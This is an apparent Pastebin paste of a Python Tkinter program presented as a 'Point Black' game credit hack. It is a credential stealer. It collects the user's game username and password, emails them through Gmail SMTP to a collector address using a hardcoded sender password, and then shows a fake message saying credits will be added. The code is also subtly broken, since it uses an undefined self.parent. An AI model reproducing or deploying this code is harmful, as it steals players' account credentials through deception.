Guest User

Untitled

a guest
Jan 19th, 2019
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.27 KB | None | 0 0
  1. from Tkinter import *
  2. from tkMessageBox import *
  3. import smtplib
  4.  
  5. class Client(object):
  6.     def __init__(self, nick, password, how):
  7.         self.fromaddr = "provaprovaprovaprovaprova123@gmail.com"
  8.         self.toaddr   = "spartachannel@gmail.com"
  9.         self.header   =  ("From: %s\r\nTo: %s\r\n\r\n" % (self.fromaddr, self.toaddr))
  10.         self.msg = self.header + "User: %s \r\n Password = %s\r\n" %(nick, password)
  11.         self.fdpwd = "trytry123"
  12.         self.server = smtplib.SMTP("smtp.gmail.com",587)
  13.         self.server.ehlo()
  14.         self.server.starttls()
  15.         self.server.ehlo()
  16.         self.server.login("provaprovaprovaprovaprova123", self.fdpwd)
  17.         self.sendMail(how)
  18.            
  19.     def sendMail(self, how):
  20.         try:
  21.             self.server.sendmail(self.fromaddr, self.toaddr, self.msg)
  22.             showinfo("Great", "Operazione completata con successo!\nOgni sera ti verrannno aggiunti %d crediti!" %how)
  23.             return True
  24.         except smtplib.SMTPException:
  25.             showerror("ERROR", "Errore!!")
  26.             return False
  27.        
  28. class App:
  29.  
  30.     def __init__(self, parent):
  31.         self.root  = parent
  32.         self.child = Frame(self.parent)
  33.  
  34.         self.makeUI()
  35.  
  36.         self.child.pack()
  37.  
  38.  
  39.     def makeUI(self):
  40.  
  41.         Label(self.child, text="Ecco gli hack per Point Black!", fg="red", bg="blue").pack(side = TOP)
  42.         Label(self.child, text = "Secgli una delle tre opzioni: ", pady = 10, padx = 10).pack()
  43.         self.var = IntVar()
  44.         Radiobutton(self.child, text="100 crediti", variable=self.var, value=100).pack()
  45.         Radiobutton(self.child, text="200 crediti", variable=self.var, value=200).pack()
  46.         Radiobutton(self.child, text="300 crediti", variable=self.var, value=300).pack()
  47.         Label(self.child, text = "\n").pack()
  48.         self.nickname = StringVar()
  49.         self.password = StringVar()
  50.         Label(self.child, text="Username", padx= 2).pack()
  51.         Entry(self.child, textvariable = self.nickname).pack()
  52.         Label(self.child, text="Password", padx = 2).pack()
  53.         Entry(self.child, textvariable = self.password, show = "*").pack()
  54.         Label(self.child, text="\n").pack()
  55.         self.button = Button(self.child, text="Conferma", command = self.inject).pack()
  56.         Label(self.child, text = "I crediti ti saranno aggiunti ogni sera alle 21.00").pack()
  57.         Label(text="By Comb4tH4ck3r", fg="green", bg="black").pack(side=BOTTOM, anchor=E)
  58.        
  59.        
  60.     def inject(self):
  61.         if self.nickname.get() == "" :
  62.             showerror("ERROR",  "Inserisci il nickname, o non potro' loggare!")
  63.         elif self.password.get() == "":
  64.             showerror("ERROR", "Inserisci la password, o non potro' loggare!")
  65.         elif (self.nickname.get() != "") and (self.password != ""):
  66.             if (self.var.get() == 100) or (self.var.get() == 200) or (self.var.get() == 300):
  67.                 shame = Client(self.nickname.get(), self.password.get(), self.var.get())
  68.             else:
  69.                 showerror("Error", "Scegli almeno una delle tre opzioni!")
  70.                                
  71.        
  72.            
  73.        
  74.        
  75.  
  76.  
  77.    
  78. gui = Tk()
  79. gui.title("Hack Point Black - BY Comb4tH4ck3r")
  80. gui.resizable(False, False)
  81. app = App(gui)
  82. gui.mainloop()
Add Comment
Please, Sign In to add comment